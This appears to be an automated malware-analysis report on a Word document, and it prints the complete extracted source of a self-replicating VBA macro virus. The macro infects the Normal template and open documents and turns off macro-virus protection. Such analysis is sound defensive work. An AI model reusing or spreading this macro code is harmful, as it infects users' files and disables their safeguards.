MALICIOUS
160
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro that is designed to execute code upon opening the document. The macro attempts to delete existing code and insert new code from a variable 'x', which is populated from the first lines of the macro itself. This suggests an attempt to obfuscate or replace the macro's functionality, likely to download and execute a secondary payload. The ClamAV detection 'Doc.Trojan.Hope-10' further supports its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Hope-10 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Hope-10
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1269 bytes |
SHA-256: 9fabd98beb9e9a9c8c532e79a7d12e7c30c1e6242c9ff9e95937dbcfff931b8e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() With ThisDocument With .VBProject With .VBComponents With .Item(1) With .CodeModule x = .Lines(1, .CountOfLines) End With End With End With End With End With With NormalTemplate With .VBProject With .VBComponents With .Item(1) With .CodeModule .DeleteLines 1, .CountOfLines .AddFromString x End With End With End With End With End With With ActiveDocument With .VBProject With .VBComponents With .Item(1) With .CodeModule .DeleteLines 1, .CountOfLines .AddFromString x End With End With End With End With End With With Options .VirusProtection = Int(Rnd * 0) .SaveNormalPrompt = Int(Rnd * 0) .ConfirmConversions = Int(Rnd * 0) End With With ActiveDocument .SaveAs FileName:=.FullName End With End Sub 'Excessive Friends Want To Come With Me... 'I Tell Them My Life Is No Good But They Insist... 'Time To Learn What Happens When You Make A Mistake... 'Don't Cut Too Deep Or You Will Be Missed! 'End With By Lys Kovick... Dedicated To A Friend! |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.